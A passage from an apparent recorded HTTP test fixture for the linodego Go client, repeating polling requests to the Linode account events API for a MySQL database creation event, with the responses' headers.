"go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 